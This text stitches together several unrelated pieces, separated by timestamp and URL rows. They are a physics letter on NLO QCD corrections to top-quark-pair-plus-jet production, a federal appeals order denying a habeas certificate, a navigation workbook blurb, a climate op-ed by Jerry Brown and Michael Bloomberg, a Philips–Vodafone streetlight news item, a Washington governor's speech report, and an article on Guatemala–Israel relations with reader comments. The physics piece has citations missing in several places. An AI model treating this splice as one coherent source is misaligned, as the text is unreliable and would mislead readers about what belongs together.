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abstract: 'We report on the calculation of the next-to-leading order QCD corrections to the production of top–anti-top quark pairs in association with a hard jet at the Tevatron and at the LHC. We present results for the ${\mathswitchr t}\bar{\mathswitchr t}$+jet cross section and the forward–backward charge asymmetry. The corrections stabilize the leading-order prediction for the cross section. The charge asymmetry receives large corrections.'
author:
- 'S. Dittmaier'
- 'P. Uwer'
- 'S. Weinzierl'
bibliography:
- 'ppttj\_let.bib'
---
Introduction
============
More than ten years after its discovery, the dynamics and many properties of the top quark, such as its electroweak quantum numbers, are not yet precisely measured. Since the top quark is the heaviest of the known elementary particles, it is widely believed that it plays a key role in extensions of the Standard Model. This renders experimental investigations of the top quark particularly important. Up to now the main (direct) source of information on top quarks are top-quark pairs produced at the Tevatron. Only recently first evidence for single-top production has been found [@Abazov:2006gd]. It is important to note that in the inclusive ${\mathswitchr t}\bar{\mathswitchr t}$ sample a significant fraction comprises ${\mathswitchr t}\bar{\mathswitchr t}$+jet events. An investigation of the process of ${\mathswitchr t}\bar{\mathswitchr t}$ production in association with a hard jet can, thus, certainly improve our knowledge about the top quark.
In this context, the forward–backward charge asymmetry of the top (or anti-top) quark [@Halzen:1987xd; @Kuhn:1998kw; @Kuhn:1998jr; @Bowen:2005ap] is of particular interest. In inclusive ${\mathswitchr t}\bar{\mathswitchr t}$ production it appears first at one loop, because it results from interferences of C-odd with C-even parts of double-gluon exchange between initial and final states. This means that the available prediction for ${\mathswitchr t}\bar{\mathswitchr t}$ production—although of one-loop order—describes this asymmetry only at leading-order (LO) accuracy. In ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production the asymmetry appears already in LO. Thus, the next-to-leading order (NLO) calculation described in the following provides a true NLO prediction for the asymmetry. Our calculation will, therefore, be an important tool in the experimental analysis of this observable at the Tevatron where the asymmetry is measureable as discussed in .
Measuring the cross section of the related process of ${\mathswitchr t}\bar{\mathswitchr t}{+}\gamma$ production provides direct access to the electric charge of the top quark. Obviously NLO QCD predictions to this process are important for a reliable analysis. They can be obtained from ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production presented in this letter via simple substitutions. We postpone this, however, to a forthcoming publication.
Finally, a signature of ${\mathswitchr t}\bar{\mathswitchr t}$ in association with a hard jet represents an important background process for searches at the LHC, such as the search for the Higgs boson in the weak-vector-boson fusion or ${\mathswitchr t}\bar{\mathswitchr t}{\mathswitchr H}$ channels.
The above-mentioned issues clearly underline the case for an NLO calculation for ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production at hadron colliders. We report here on a first calculation of this kind; a status report was already given in .
Details of the NLO calculation
==============================
At LO, hadronic ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production receives contributions from the partonic processes $q\bar q\to{\mathswitchr t}\bar{\mathswitchr t}g$, $qg\to{\mathswitchr t}\bar{\mathswitchr t}q$, $\bar qg\to{\mathswitchr t}\bar{\mathswitchr t}\bar q$ and $gg\to{\mathswitchr t}\bar{\mathswitchr t}g$. The first three channels are related by crossing symmetry to the amplitude $0 \to {\mathswitchr t}\bar {\mathswitchr t}q \bar q g$.
Evaluating $2\to3$ particle processes at the NLO level, is non-trivial, both in the analytical and numerical parts of the calculation. In order to prove the correctness of our results we have evaluated each ingredient twice using independent calculations based—as far as possible—on different methods, yielding results in mutual agreement.
Virtual corrections
-------------------
The virtual corrections modify the partonic processes that are already present at LO. At NLO these corrections are induced by self-energy, vertex, box (4-point), and pentagon (5-point) corrections. The prototypes of the pentagon graphs, which are the most complicated diagrams, are shown in .
[![A representative set of pentagon diagrams for hadronic ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production at NLO QCD.[]{data-label="fig:pentagons"}](pentagons.ps "fig:"){width=".38\textwidth"}]{}
#### Version 1
of the virtual corrections is essentially obtained following the method described in , where ${\mathswitchr t}\bar{\mathswitchr t}{\mathswitchr H}$ production at hadron colliders was considered. Feynman diagrams and amplitudes have been generated with the [*FeynArts*]{} package [@Kublbeck:1990xc; @Hahn:2000kx] and further processed with in-house [*Mathematica*]{} routines, which automatically create an output in [*Fortran*]{}. The IR (soft and collinear) singularities are analytically separated from the finite remainder as described in . The tensor integrals appearing in the pentagon diagrams are directly reduced to box integrals following . This method does not introduce inverse Gram determinants in this step, thereby avoiding notorious numerical instabilities in regions where these determinants become small. Box and lower-point integrals are reduced à la Passarino–Veltman [@Passarino:1978jh] to scalar integrals, which are either calculated analytically or using the results of . Sufficient numerical stability is already achieved in this way. Nevertheless the integral evaluation is currently further refined by employing the more sophisticated methods described in in order to numerically stabilize the tensor integrals in exceptional phase-space regions.
#### Version 2
of the evaluation of loop diagrams starts with the generation of diagrams and amplitudes via [*QGRAF*]{} [@Nogueira:1991ex], which are then further manipulated with [*Form*]{} [@Vermaseren:2000nd] and eventually automatically translated into [*C++*]{} code. The reduction of the the 5-point tensor integrals to scalar integrals is performed with an extension of the method described in . In this procedure also inverse Gram determinents of four four-momenta are avoided. The lower-point tensor integrals are reduced using an independent implementation of the Passarino–Veltman procedure. The IR-finite scalar integrals are evaluated using the [*FF*]{} package [@vanOldenborgh:1990wn; @vanOldenborgh:1991yc]. Although the entire procedure is sufficiently stable, further numerical stabilization of the tensor reduction is planned following the expansion techniques suggested in for exceptional phase-space regions.
Real corrections
----------------
The matrix elements for the real corrections are given by $0 \to {\mathswitchr t}\bar {\mathswitchr t}g g g g$, $0 \to {\mathswitchr t}\bar {\mathswitchr t}q \bar q g g$, $0 \to {\mathswitchr t}\bar {\mathswitchr t}q \bar q q' \bar q'$ and $0 \to {\mathswitchr t}\bar {\mathswitchr t}q \bar q q \bar q$. The various partonic processes are obtained from these matrix elements by all possible crossings of light particles into the initial state.
The evaluation of the real-emission amplitudes is performed in two independent ways. Both evaluations employ (independent implementations of) the dipole subtraction formalism [@Catani:1996vz; @Phaf:2001gc; @Catani:2002hc] for the extraction of IR singularities and for their combination with the virtual corrections.
#### Version 1
results from a fully automated calculation based on helicity amplitudes, as described in . Individual helicity amplitudes are computed with the help of Berends–Giele recurrence relations [@Berends:1987me]. The evaluation of color factors and the generation of subtraction terms is automated. For the channel $g g \to {\mathswitchr t}\bar {\mathswitchr t}g g$ a dedicated soft-insertion routine [@Weinzierl:1999yf] is used for the generation of the phase space.
#### Version 2
uses for the LO $2 \to 3$ processes and the $g g \to {\mathswitchr t}\bar {\mathswitchr t}g g$ process optimized code obtained from a Feynman diagramatic approach. As in version 1 standard techniques like color decomposition and the use of helicity amplitudes are employed. For the $2\to 4$ processes including light quarks, [ *Madgraph*]{} [@Stelzer:1994ta] has been used. The subtraction terms according to are obtained in a semi-automatized manner based on an in-house library written in [*C++*]{}.
Numerical results
=================
In the following we consistently use the CTEQ6 [@Pumplin:2002vw; @Stump:2003yu] set of parton distribution functions (PDFs). In detail, we take CTEQ6L1 PDFs with a 1-loop running $\alpha_{\mathrm{s}}$ in LO and CTEQ6M PDFs with a 2-loop running $\alpha_{\mathrm{s}}$ in NLO. The number of active flavours is $N_{\mathrm{F}}=5$, and the respective QCD parameters are $\Lambda_5^{\mathrm{LO}}=165{\unskip\,\mathrm{MeV}}$ and $\Lambda_5^{\overline{\mathrm{MS}}}=226{\unskip\,\mathrm{MeV}}$. Note that the top-quark loop in the gluon self-energy is subtracted at zero momentum. In this scheme the running of $\alpha_{\mathrm{s}}$ is generated solely by the contributions of the light quark and gluon loops. The top-quark mass is renormalized in the on-shell scheme, as numerical value we take ${\mathswitch {m_{\mathswitchr t}}}=174{\unskip\,\mathrm{GeV}}$.
We apply the jet algorithm of with $R=1$ for the definition of the tagged hard jet and require a transverse momentum of $p_{\mathrm{T,jet}}>20{\unskip\,\mathrm{GeV}}$ for the hardest jet. The outgoing (anti-)top quarks are neither affected by the jet algorithm nor by the phase-space cut. Note that the LO prediction and the virtual corrections are not influenced by the jet algorithm, but the real corrections are. -1
Figure \[fig:LOcs\] shows the dependence of the integrated LO cross sections on the renormalization and factorization scales, which are identified here ($\mu=\mu_{\mathrm{ren}}=\mu_{\mathrm{fact}}$). The variation ranges from $\mu = 0.1 \; {\mathswitch {m_{\mathswitchr t}}}$ to $\mu = 10 \; {\mathswitch {m_{\mathswitchr t}}}$.
\
[![Scale dependence of the LO cross sections for ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production at the Tevatron (upper plot) and at the LHC (lower plot), where the renormalization and factorization scales are set equal to $\mu$. The individual contributions of the various partonic channels are shown also separately.[]{data-label="fig:LOcs"}](LO_LHC.eps "fig:"){width=".44\textwidth"}]{}
The dependence is rather large, illustrating the well-known fact that the LO predictions can only provide a rough estimate. At the Tevatron the $q\bar q$ channel dominates the total ${\mathswitchr p}\bar{\mathswitchr p}$ cross section by about 85%, followed by the $gg$ channel with about 7%. At the LHC, the $gg$ channel comprises about 70%, followed by $qg$ with about 22%.
In Figure \[fig:NLOcs\] the scale dependence of the NLO cross sections is shown. For comparison, the LO results are included as well.
[![Scale dependence of the LO and NLO cross sections for ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production at the Tevatron (upper plot) and at the LHC (lower plot), where the renormalization and factorization scales are set equal to $\mu$.[]{data-label="fig:NLOcs"}](NLO_Tev.eps "fig:"){width=".42\textwidth"}]{}\
[![Scale dependence of the LO and NLO cross sections for ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production at the Tevatron (upper plot) and at the LHC (lower plot), where the renormalization and factorization scales are set equal to $\mu$.[]{data-label="fig:NLOcs"}](NLO_LHC.eps "fig:"){width=".42\textwidth"}]{}
As expected, the NLO corrections significantly reduce the scale dependence. We observe that arround $\mu \approx {\mathswitch {m_{\mathswitchr t}}}$ the NLO corrections are of moderate size for the chosen setup.
Finally, we have performed a first study of the forward–backward charge asymmetry of the top quark at the Tevatron.
[![Scale dependence of the LO and NLO forward–backward charge asymmetry of the top quark in ${\mathswitchr p}\bar{\mathswitchr p}\to{\mathswitchr t}\bar{\mathswitchr t}{+}$jet$+X$ at the Tevatron, where the renormalization and factorization scales are set equal to $\mu$.[]{data-label="fig:NLOasym"}](NLOasym_Tev.eps "fig:"){width=".45\textwidth"}]{}
In LO the asymmetry is defined by $$\label{eq:asym}
A^{{\mathswitchr t}}_{\mathrm{FB,LO}} =
\frac{\sigma^-_{\mathrm{LO}}}{\sigma^+_{\mathrm{LO}}},
\quad
\sigma^\pm_{\mathrm{LO}} =
\sigma_{\mathrm{LO}}(y_{{\mathswitchr t}}{>}0)\pm\sigma_{\mathrm{LO}}(y_{{\mathswitchr t}}{<}0),$$ where $y_{{\mathswitchr t}}$ denotes the rapidity of the top quark. Cross-section contributions $\sigma(y_{{\mathswitchr t}}$ $0)$ correspond to top quarks in the forward or backward hemispheres, respectively, where incoming protons fly into the forward direction by definition. Denoting the corresponding NLO contributions to the cross sections by $\delta\sigma^\pm_{\mathrm{NLO}}$, we define the asymmetry at NLO by $$\label{eq:NLOasym}
A^{{\mathswitchr t}}_{\mathrm{FB,NLO}} =
\frac{\sigma^-_{\mathrm{LO}}}{\sigma^+_{\mathrm{LO}}}
\left( 1+
\frac{\delta\sigma^-_{\mathrm{NLO}}}{\sigma^-_{\mathrm{LO}}}
-\frac{\delta\sigma^+_{\mathrm{NLO}}}{\sigma^+_{\mathrm{LO}}} \right),$$ i.e. via a consistent expansion in $\alpha_{\mathrm{s}}$. Note, however, that the LO cross sections in Eq. (\[eq:NLOasym\]) are evaluated in the NLO setup (PDFs, $\alpha_{\mathrm{s}}$).
Figure \[fig:NLOasym\] shows the scale dependence of the asymmetry at LO and NLO. The LO result for the asymmetry is of order $\alpha_s^0$ and does therefore not depend on the renormalization scale. The plot for the LO result shows a mild residual dependence on the factorization scale, but the size of this variation does not reflect the theoretical uncertainty, which is much larger. The NLO corrections to the asymmetry are of order $\alpha_s^1$ and depend on the renormalization scale. It is therefore natural to expect a stronger scale dependence of the asymmetry at NLO than at LO, as seen in the plot. The size of the asymmetry, which is about $-7\%$ at LO, is drastically reduced by the NLO corrections. The residual scale dependence suggests that the asymmetry is $-1.5(\pm1.5)\%$ for the chosen setup. Before closing, we comment on an alternative possibility to define the asymmetry via the unexpanded ratio of the NLO-corrected cross sections $\sigma^\pm_{\mathrm{LO}}+\delta\sigma^\pm_{\mathrm{NLO}}$. With this definition (not shown in the plot), one observes an even larger scale dependence with a dramatic rise for low scales $\mu$ where the NLO cross section (the denominator in the asymmetry) becomes perturbatively unstable and turns to negative values (see ).
Conclusions
===========
First predictions for ${\mathswitchr t}\bar{\mathswitchr t}{+}$jet production at hadron colliders have been presented at NLO QCD. For the cross section the NLO corrections drastically reduce the scale dependence of the LO predictions, which is of the order of 100%. The charge asymmtry of the top quarks, which is going to be measured at the Tevatron, is significantly decreased at NLO and is almost washed out by the residual scale dependence.\
Acknowledgment: We thank A. Brandenburg for his collaboration in the initial stage of this work.
| 2024-01-01T01:26:51.906118 | https://example.com/article/1279 |
F I L E D
United States Court of Appeals
Tenth Circuit
UNITED STATES COURT OF APPEALS
December 20, 2005
TENTH CIRCUIT
Clerk of Court
UNITED STATES OF AMERICA,
Plaintiff-Appellee, No. 05-3186
v. District of Kansas
RENE HERRERA, JR., (D.C. Nos. 03-20024-01-JWL,
05-3045-JWL)
Defendant-Appellant.
ORDER *
Before HARTZ, SEYMOUR, and McCONNELL, Circuit Judges.
Rene Herrera, a federal prisoner proceeding pro se, seeks a certificate of
appealability (COA) that would allow him to appeal from the district court’s order
denying his habeas corpus petition under 28 U.S.C. § 2255. See 28 U.S.C. §
2253(c)(1)(B). Because we conclude that Mr. Herrera has failed to make “a
substantial showing of the denial of a constitutional right,” we deny his request
for a COA, and we dismiss the appeal. 28 U.S.C. § 2253(c)(2).
*
This order is not binding precedent, except under the doctrines of law of
the case, res judicata, and collateral estoppel.
I. Background
Mr. Herrera was indicted for conspiracy to distribute methamphetamine and
distribution of methamphetamine. He pleaded guilty to the conspiracy charge on
August 18, 2003. In the plea agreement, Mr. Herrera waived his right to directly
appeal or collaterally challenge his sentence. On November 3, 2003, he was
sentenced to 168 months’ imprisonment. When sentencing Mr. Herrera, the
district court made factual findings about drug quantities under the preponderance
of the evidence standard.
On February 1, 2005, Mr. Herrera filed a motion to vacate, set aside or
correct his sentence pursuant to 28 U.S.C. § 2255, in which he asked the district
court to vacate his sentence under United States v. Booker, 543 U.S. 220 (2005).
The government, in response, filed a motion to enforce Mr. Herrera’s plea
agreement and waiver of rights. On April 7, 2005, the district court denied Mr.
Herrera’s motion, finding that he waived his right to collaterally challenge his
sentence and, alternatively, that Booker does not apply retroactively to claims on
collateral review. The district court denied Mr. Herrera’s request for a COA on
May 6, 2005.
II. Claims on Appeal
The denial of a motion for relief under 28 U.S.C. § 2255 may be appealed
only if the district court or this Court first issues a COA. 28 U.S.C. §
-2-
2253(c)(1)(B). A COA will issue “only if the applicant has made a substantial
showing of the denial of a constitutional right.” 28 U.S.C. § 2253(c)(2). In order
to make such a showing, a petitioner must demonstrate that “reasonable jurists
could debate whether . . . the petition should have been resolved in a different
manner or that the issues presented were adequate to deserve encouragement to
proceed further.” Slack v. McDaniel, 529 U.S. 473, 475 (2000) (internal
quotation marks omitted).
In this request for a COA, Mr. Herrera makes three arguments: (1) the
district court should have held an evidentiary hearing on his claim of ineffective
assistance of counsel, (2) his waiver of the right to appeal his sentence was not
knowing and voluntary, and (3) lengthening his term of imprisonment based on
facts about drug quantities determined by a judge, rather than by a jury, is
constitutional error remediable on collateral review. We turn first to Mr.
Herrera’s contention that the district court should have afforded him an
evidentiary hearing on his claim of ineffective assistance of counsel.
Mr. Herrera never presented a broad claim of ineffective assistance of
counsel to the district court. In his habeas corpus petition before the district
court, Mr. Herrera stated only that his “sentence is unconstitutional under the
Fifth and Sixth Amendments.” R. Doc. 35, p. 5. Later, in his response brief
before the district court, he claimed that his waiver of collateral relief was invalid
-3-
because counsel was ineffective by inaccurately asserting that Mr. Herrera would
receive a ten-year sentence. As the district court noted, however, Mr. Herrera did
not “suggest that his counsel in any way assured him that his sentence would be
no more than 10 years or otherwise misinformed or improperly counseled him as
to the potential sentence he might receive. Rather, Mr. Herrera state[d] that he
simply ‘assumed’ he would be sentenced to the statutory minimum based on the
facts to which he pled guilty.” Moreover, during the colloquy with the district
court, Mr. Herrera stated that he was aware that the guideline range would be
determined after the presentence investigation, and could be affected by other
information, including information relevant to crimes to which he did not plead
guilty. This provides no basis for a claim of ineffective assistance of counsel.
As to Mr. Herrera’s remaining claims, we need not decide whether Mr.
Herrera knowingly and intelligently waived his right to collateral review because
his constitutional challenge to his sentence fails. Mr. Herrera claims that the
Supreme Court’s decisions in Blakely v. Washington, 542 U.S. 296 (2004), and
United States v. Booker, 543 U.S. 220 (2005), apply retroactively to invalidate his
sentence. However, this Court has held that “Booker does not apply retroactively
to initial habeas petitions.” United States v. Bellamy, 411 F.3d 1182, 1186 (10th
Cir. 2005) (denying a COA to a federal prisoner, sentenced in 2003, who raised a
Booker challenge). Thus, Mr. Herrera cannot challenge his sentence under
-4-
Booker, as he was sentenced in November 2003 and raised this claim for the first
time on collateral review.
III. Conclusion
Accordingly, we DENY Rene Herrera’s request for a COA and DISMISS
this appeal.
Entered for the Court,
Michael W. McConnell
Circuit Judge
-5-
| 2024-04-07T01:26:51.906118 | https://example.com/article/7636 |
Navigation Workbook 18465 Tr: For Power-driven And …
This book provides over 500 exercises with answers covering all aspects of small-craft navigation. These are practical problems that all navigators should know how to solve. Topics include: Piloting , Chart reading and plotting , Voyage planning, Dead reckoning, Compass use, Waypoint selection, Special publications, Rules of the road, Route design, Lights and buoys, Tides and currents, Electronic fixes, Depth sounding navigation The level of the exercises is comparable to that used in the USCG 100-Ton masters exam, which in turn is about the same used in the navigation certification programs of US Sailing, ASA, CYA and RYA. These practice problems are, however, designed to be practical and instructive, not just training exercises for certification exams. This Workbook is used by several navigation schools around the country. Selections are provided from each of these special publications along with exercises to insure their full use is mastered: NOAA Tide Tables, NOAA Current Tables, US Coast Pilot, USCG Light List, USCG Notices to Mariners , NOAA Chart Catalog The exercises that require a chart use nautical training chart No. 18465 Tr, available in print at reduced price from NOAA chart dealers and other outlets listed in the Appendix. You can also work the chart problems with an electronic chart (Raster Navigation Chart, RNC) number 18465 Tr. This custom echart is available as a download from . The echart can be viewed by any of several free echart viewer programs. Sources for free echart viewers and guidelines for their use are included in the Appendix. You can also use any full echart navigation program of your choice. We encourage navigators to solve the chart problems with both traditional paper plotting as well as electronically, using route tools, electronic bearing lines, and range rings. | 2023-09-19T01:26:51.906118 | https://example.com/article/5221 |
Rampant wildfires in the West, record high temperatures in the Arctic Circle, severe hurricanes in the Atlantic and the Pacific: Unless we reduce greenhouse gases now, these kinds of destructive “natural” disasters will only get worse.
It would be easy to be despondent about humanity’s chances for success. The Trump administration has announced its intention to withdraw from the Paris climate agreement, moved to weaken California’s fuel-efficiency standards for automobiles, sought to repeal stricter limits on methane, and attempted to prop up coal-fired plants. But it’s important to keep in mind: None of those attempts has yet succeeded.
The United States cannot legally withdraw from the Paris agreement until November 2020. California and other states have filed a lawsuit challenging the EPA’s assault on fuel efficiency. States’ attorneys general have also gone to court to uphold limits on methane leaks. And market forces continue to drive coal plants out of business because American consumers in red and blue states want cleaner and cheaper energy — and the private sector is delivering. The cost of renewable energy is now lower than coal in much of the country.
The American people are not waiting on Washington to take action because the benefits are clear.
In fact, since the White House announced its intention to withdraw from the Paris agreement, more than 3,000 U.S. cities, states, businesses and other groups have declared their commitment to the Paris agreement. We are tracking their progress through an initiative called America’s Pledge. Together, these groups form the third-largest economy in the world, and they represent more than half the total U.S. population. They have been ramping up actions to cut carbon pollution and move toward the goals in the Paris agreement, just as the rest of the world is doing.
In red states and blue states, goals have been set and are being met. Orlando, Fla., is aiming to get 100% of its energy from clean sources and is on track to hit 20% by 2020. Los Angeles has cut emissions by 26% and counting. By next year, Texas will get more energy from solar and wind than from coal. Pennsylvania enacted tougher rules to prevent methane leaks from its gas wells. Colorado’s largest power utility announced plans to accelerate retirement of one-third of its coal plants and replace them with clean energy. And Walmart aims to shift 20% of its truck fleet to electric vehicles within five years.
Enter the Fray: First takes on the news of the minute from L.A. Times Opinion »
America’s Pledge will report this collective progress to the Global Climate Action Summit that starts Wednesday in San Francisco. The effort, by our calculations, will put the country within striking distance of the 26% reduction in greenhouse gases, by 2025, that the United States promised to hit in Paris. The report outlines 10 areas where U.S. cities, towns and organizations can focus their attention to cut emissions even more quickly, even without support from the federal government. Our message to the world is simple: The United States is taking bold steps to uphold our end of the deal. And we have market forces and public opinion on our side.
What happens in Washington still matters, of course, and we need to vote out of office those who refuse to recognize reality. But the American people are not waiting on Washington to take action because the benefits are clear: Businesses are saving money by investing in clean energy and efficiency upgrades. Technology companies are making money by driving down the cost of wind and solar. And cities and states are improving public health by cleaning their air and strengthening their economies by modernizing their infrastructure. All recognize that improving energy efficiency and reducing pollution is in their own economic interest.
That kind of bottom-up leadership will continue driving progress on climate change, no matter what obstacles Washington throws in our way.
Jerry Brown is the longest serving governor of California. Michael Bloomberg is the founder of Bloomberg LP and United Nations special envoy for climate action. They are two of the six co-chairs of the Global Climate Action Summit.
Follow the Opinion section on Twitter @latimesopinionand Facebook | 2024-02-12T01:26:51.906118 | https://example.com/article/6763 |
Philips and Vodafone partner for wireless city smart lighting
Madrid, Buenos Aires and Los Angeles are among the cities in which Philips has rolled out its internet-connected LED street lighting. Such connected street lights can be monitored and controlled remotely and, now, Philips has partnered with Vodafone to connect the lights wirelessly.
The partnership, which sees Vodafone become Philips' "global Internet of Things managed connectivity partner," will see individual streetlights fitted with one of Vodafone's M2M SIM cards. This will allow them to be connected to Philips' CityTouch street lighting management system, assuming they are a CityTouch-ready light or a light with a connector node installed.
Once connected to CityTouch, it's possible for the brightness of streetlights to be turned up or down and for lights to be switched on and off and specific times from a web browser. Lights can also be monitored to see when maintenance is required or when bulbs need replacing.
Wireless connectivity allows streetlights to be connected to the internet more easily than having to use wiring. In addition, Philips' wirelessly connected streetlights will make for easily scalable smart infrastructure, and they will be able to support other smart city applications in future.
"We are at the start of a new era which will see highly energy efficient connected street lighting become the backbone of most smart cities," says Bill Bien of Philips Lighting. "Robust, reliable wireless connectivity will help make this happen, linking streetlights with sensors, devices and management systems."
Philips says the wireless connected streetlights will help to save cities energy and maintenance costs. | 2023-11-23T01:26:51.906118 | https://example.com/article/7385 |
Governor wants to 'spur economy'
OLYMPIA - Gov. Chris Gregoire urged people with business connections statewide to support her plan to reduce unemployment insurance rates, one of several issues facing business owners this year that were discussed Thursday as part of an annual legislative meeting of the Association of Washington Business.
On Thursday, AWB members participated in workshops with state lawmakers and heard the Governor speak at the Red Lion Hotel Olympia. Today, some 70 business owners are expected to visit the Capitol to meet with lawmakers.
The AWB has more than 7,300 members statewide and about 180 board members, spokeswoman Jocelyn McCabe said.
The highlight of Thursday’s presentations, though, was the governor’s lunchtime speech, in which she pointed out the state’s economic strengths and her plans to make them stronger.
“As difficult as things are today, we are in a better position now than a whole lot of other states,” she said, adding that the state of Illinois has been unable to pay its Medicaid bill for six months.
Washington also has been ranked as one of the top destinations to do business by Forbes Magazine, and the Port of Seattle recently was featured on the business news network CNBC because of record business activity there in 2010. The ports of Seattle and Tacoma have been recognized as some of the best ports in the country, Gregoire told the audience.
Still, the state essentially is in the middle of a jobless recovery, it can’t afford to have a 9 percent unemployment rate and still faces a budget shortfall of $4.6 billion during the next biennial budget, she said.
Unemployment insurance rates, too, are statutorily set to increase 36 percent, Gregoire said. Because the state’s unemployment insurance trust fund is relatively healthy – 35 other states are borrowing money from the federal government to pay jobless benefits – the governor wants to cut the rate to help businesses in this economy.
“I think it’s time to be able to cut the rate and spur the economy, so that’s what I have proposed,” the governor said.
She asked the audience to support legislation that will lower the rate and that the bill gets to her desk for signature no later than Feb. 8.
“I need your help,” she said.
Although Washington businesses likely won’t face higher taxes, business owners remain concerned about new fees and other rate increases to raise new revenue for the state. It doesn’t help businesses here or the state’s image, said Pat Rants, president and chief executive of The Rants Group, a commercial real estate company in Olympia. Rants also is an AWB board member.
“The state’s competitiveness is more important now than it’s ever been,” he said, adding that higher fees or rates, for example, could affect the state’s ability to recruit new businesses to the area.
He also would like to see the state “bite the bullet” on balancing the budget, rather than shift money around and delay addressing the state’s budget problems. | 2024-02-27T01:26:51.906118 | https://example.com/article/2745 |
The teens rise, hands clasped to hearts, and dutifully sing about the hope of being a free people in their land. Listening to Hatikva in this classroom, you could close your eyes and imagine yourself in Israel, except for how the “y” sounds in “ayin letzion” are rendered “j”-like. I am, in fact, in Guatemala, and these are children trained to love Israel at an evangelical Zionist academy in a crumbling outpost of the capital.
At Instituto Guatemalteco-Israeli, founded not coincidentally in 1967, teachers greet me with “Shalom” and hugs upon learning that I’m Israeli. The gym and school uniforms are festooned with Stars of David, and posted on the walls of the office are news articles celebrating the return home of Gilad Shalit and an article condemning Hamas by the last Israeli ambassador to Guatemala. According to the school’s website, “The Embassy of Israel in Guatemala maintains a constant relationship with our Institution, providing us Reading material, multimedia, and also visiting our school.”
That embassy refused repeated requests for interviews to discuss the broader Guatemalan-Israeli relationship, the warmth and history of which goes far beyond the crowded halls of the Instituto—or even the Israeli post-army backpackers trekking through the jungles. The country is littered with gas stations and convenience stores named “Adonai” and “Shalom.” The Guatemalan government has said it will negotiate a free-trade agreement with Israel this year. When the Guatemalan congress gave Israel its highest honor in 2009, the speaker said, “If there is thriving agriculture—it’s an Israeli contribution. If we have education, medicine and security—it’s the Israelis that shared with us their rich experience,” he said.
Educated Guatemalans I met proudly recalled their country’s role in the establishment of the state of Israel: Jorge Garcia Granados, the Guatemalan Ambassador to the United Nations, was a member of the U.N. Special Committee on Palestine who helped lobby votes on behalf of a Jewish state, and Guatemala was among the first countries to recognize Israel. Granados became the first Guatemalan ambassador to Israel, where streets are named after him. (When his grandson was kidnapped by guerrillas in the late 1970s, the family asked Israel for help. Not long ago, his granddaughter was living in Herzliya and overseeing mining concerns in the Negev, though that ended badly.)
Early on, this relationship was predicated on a broader understanding of Israel as being born out of a liberation struggle against the imperial British; Guatemala is not only a former Spanish colony but also still resents a British-imposed border with Belize. Granados remarked of his 1947 visit that there were “many sociological and political analogies between Palestine and Guatemala, in spite of being remote from each other.” By 1955, Guatemala was the first country to move its embassy to Jerusalem, though it’s since moved to Tel Aviv. (Years later, President Ramiro de León Carpio’s plans to return the embassy to Jerusalem—citing “the sentimental and intimate relationship” between the countries—were stymied by cardamom farmers, who in turn feared a boycott from their major market, Arab countries.)
But there’s a darker side to the friendship, particularly during the bloody chapter of Guatemala’s civil war. When human-rights abuses led the Carter Administration to cease military aid to Guatemala in 1977, Israel filled the vacuum. By 1983, the New York Times was reporting that Israel was not only acting as a surrogate for the United States (in a similar fashion to its actions in Nicaragua) but also working to oppose the Soviet Union and grow the market for Israeli arms. The cooperation didn’t just involve UZIs and hand grenades; it also included providing intelligence and operational training, both in Israel and in Guatemala, to the right-wing government.
“The Israeli soldier is the model for our soldiers,” proclaimed the chief of staff of the Guatemalan army announced. In 1982, Efraín Ríos Montt—the country’s first evangelical president and a general whose military regime was installed by a coup—told ABC News that his success was due to the fact that “our soldiers were trained by Israelis.”
As it happened, while I was in Guatemala last month, Ríos Montt was finally indicted on charges of crimes against humanity and genocide, after decades of efforts by human-rights activists who cited massacres, torture, and rape against indigenous people accused of supporting the guerrillas. A United Nations truth commission also called it genocide, finding that the many Mayans among the 200,000 people killed in that era were targeted by the state.
There wasn’t much outcry in Israel at the time, though much of these activities weren’t secret. Yossi Sarid protested on the floor of the Knesset that the country had “abandoned the green route of agriculture for the red and bloody route of arms,” according to a 1985 Mother Jonesarticle on the export of “bithonism”—the high church of Israeli security—to Latin America. Likud member Yigal Hurwitz replied, “Your speeches, Yossi, are not saleable on the foreign market; weaponry we can sell.” Indeed, as even Sarid conceded to the magazine’s Victor Perera: “You have to understand: survival too is an ethical issue.”
Whatever diplomatic points were scored with the regime, the Israeli link wasn’t lost on the average Guatemalan. At a cemetery in Chichicastenango, relatives of a man killed by the military told Perera, “In church they tell us that divine justice is on the side of the poor; but the fact of the matter is, it is the military who get the Israeli guns.”
Ríos Montt’s indictment is not the only indication that this isn’t ancient history in latter-day Guatemala.The country just elected its first military president since its civil war ended, Otto Pérez Molina, who was a commander during the Ríos Montt regime. Pérez Molina’s win was widely seen as a vote for remilitarization in response to persistent violent crime and impunity, these days mostly perpetrated by gangs and narcotraffickers. By the time I arrived in Guatemala, only weeks into the Pérez Molina regime, the military was back on the streets performing security functions that had once been the domain of civil police, to the great concern of human rights defenders. It doesn’t take a tremendous leap to imagine how those warm Israeli relations are already coming in handy. Meanwhile, last month, Guatemala took a spot on the United Nations Security Council and is considered a reliable vote against Palestinian bids for recognition there, also due to its currying of U.S. influence in an attempt to get that military aid restored. Friendship has its benefits.
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As a student if the “Instituto Guatemalteco Israeli” I fell that’s the reason why Guatemala is blessed. And of course we have a lot of problems in security, economics, narcotrafic, but? Who does not? In my Guatemala we are blessed with such a nice weather, our landings are beatiful, you can have a meal with only $3. Yes i belive that we are blessed because we have a close relantionship with Israel. Yesterday i read in our local paper that Perez Molina, our president, said : ” that is the matter of creating of creating a Palestine State goes to votation of the Security Consergie of the ONU, he will support in a 100% to Israel to define their frontiers”. We know what Israel means to the world and to our lives. Regards, Jacobo.
Irin, it is a pity that Tablet has chosen this article to highlight the close ties between Guatemala and Israel. Israel has provided much more than Uzis to Guatemala. For example, Israelis have brought a lot of agricultural expertise to Guatemala, and many Guatemalans have a very positive view of Israel. During the aftermath of the destructive 1976 earthquake, Israelis help rebuild bridges, etc. That is leaving aside the fact that religious Guatemalan Christians often look forward to a trip to the Holy Land. And as many people ignorant of the causes of the civil war in Guatemala, you choose to focus only on the “bad” military. You completely gloss over the violence and killing the guerillas wrought on their own people. I suggest you do a bit more research before publishing an article such as this.
